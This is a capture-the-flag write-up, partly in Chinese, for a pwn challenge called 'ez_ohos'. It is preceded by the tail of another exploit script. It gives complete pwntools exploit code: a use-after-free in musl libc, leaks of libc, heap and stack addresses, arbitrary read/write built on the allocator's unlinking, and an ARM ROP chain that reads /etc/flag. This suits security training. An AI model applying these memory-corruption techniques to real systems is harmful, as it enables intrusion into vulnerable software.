    sla(": ", str(idx))

if __name__ == '__main__':
    sleep(30)
    ru("Loading")
    new_map(25, (26<<0x10) + 80, 0)
    show_map(0)
    ru("Map:")
    for i in range(25):
        rl()

    block_handler = u32(rv(4))
    system_off = (0x01350 - 0x11A0)
    system_addr = block_handler + system_off

    lg("Block handler", block_handler)
    lg("Read handler", system_addr)

    new_map(25, (0x1000<<0x10) + 80, 0)
    new_map(25, (0x1000<<0x10) + 80, 0)
    new_map(25, (0x1000<<0x10) + 80, 0)
    new_map(25, 80, 0)


    edit_map(3, 25, 0x18, '/etc/flag\x00\n')
    edit_map(3, 25 + 25, 0x20, p32(system_addr) + '\n')

    cmd("edit")
    sla(": ", "4")
    p.interactive()

ez_ohos

描述

pwn it !

考点

  • uaf in musl libc

  • 通过show函数leak出libc, 由于堆地址特性, 可以同时获得堆基址和程序基址

  • 利用musl libc的解链机制构造任意地址读和任意地址写

  • 通过environ读出栈地址

  • rop

题解

from pwn import *
context(log_level = 'info',arch = 'arm')

def exp(offset=0):
   # r = process("./start_qemu.sh".split())
   r = remote("127.0.0.1",9999)
   r.recvuntil("======= Welcome to OHOS ========")
   def menu(idx):
       r.sendlineafter(">>",str(idx))
   def add(idx,sz,con):
       menu(1)
       r.sendlineafter("index?",str(idx))
       r.sendlineafter("size?\r\r\n",str(sz))
       r.sendafter("content?\r\r\n",con)
   def fr(idx):
       menu(3)
       r.sendlineafter("index?",str(idx))
   def edit(idx,con):
       menu(2)
       r.sendlineafter("index?",str(idx))
       r.sendafter("content?\r\r\n",con)
   def show(idx):
       menu(4)
       r.sendlineafter("index?\r\r\n",str(idx))

   add(0,0x10,'\n')
   add(1,0x10,'\n')
   fr(1)
   add(1,0x10,'\n')
   r.recvuntil("[DEBUG] In: ")
   libc = u32(r.recvn(4))
   log.success(hex(libc))
   heap = 0xea2b0+libc
   log.success(hex(heap))

   fr(1)
   edit(1,flat(heap-0xc,heap-0x8,'\n'))
   add(1,0x10,'a'*0xc+'\n')
   edit(0,'a'*8+flat(0xdeadbeef,heap)+'\n')

   def www(where,what):
       edit(1,flat(where,'\n'))
       edit(0,flat(what,'\n'))
   def rww(where):
       edit(1,flat(where,'\n'))
       show(0)
       r.recvuntil("[DEBUG] Out: ")
       return r.recvuntil('\r\r\n',drop=True)

   libcbase = libc - 0xa4950
   environ = libcbase+0xA43DC

   stack = u32(rww(environ)[:4])
   log.success('stack: '+hex(stack))

   # 0x0009142c : pop {r0, r1, r2, r3, ip, lr} ; bx lr
   # 0x0004fcc0 : pop {r4, r5, r6, lr} ; bx r3
   # 0x00084afc : ldr r0, [r6] ; mov r1, r8 ; mov r2, r3 ; blx r5

   gadget = libcbase+0x0009142c
   gadget1 = libcbase + 0x0004fcc0
   buf = environ + 4
   ret_addr = stack-0x1d4+0x34

   # leak in regs
   rop = flat(gadget, buf, 0, 0,libcbase+0x050988, 0, gadget1,0,0,0) #open
   rop += flat(gadget, 9, buf, 0x50, libcbase+0x09AFC8, 0, gadget1,0,0,buf + offset) #read
   rop += flat(libcbase+0x00084afc)
   # rop += flat(gadget, 1, buf, 0x50, libcbase+0x09B848, 0, gadget1) #write
   www(buf,'/etc/fl')
   www(buf+7,'ag')

   # execve
   # execve = 0x077254+libcbase
   # rop = flat(gadget, buf, buf, 0,execve, 0, gadget1,0,0,0) #open
   # www(buf,'/bin/shell')

   for i in range(len(rop)//4):
       www(ret_addr+i*4,u32(rop[i*4:i*4+4]))


   menu(5)
   r.recvuntil("R0   = ")
   leak = int(r.recvuntil("\r\n",drop=True),16)
   log.success("leak: "+p32(leak))

   r.close()
   return leak
   # r.interactive()
res = ''
for off in range(4):
   res += p32(exp(off*4))

log.success(res)

请先登录
+1 已点过赞
0
分享到: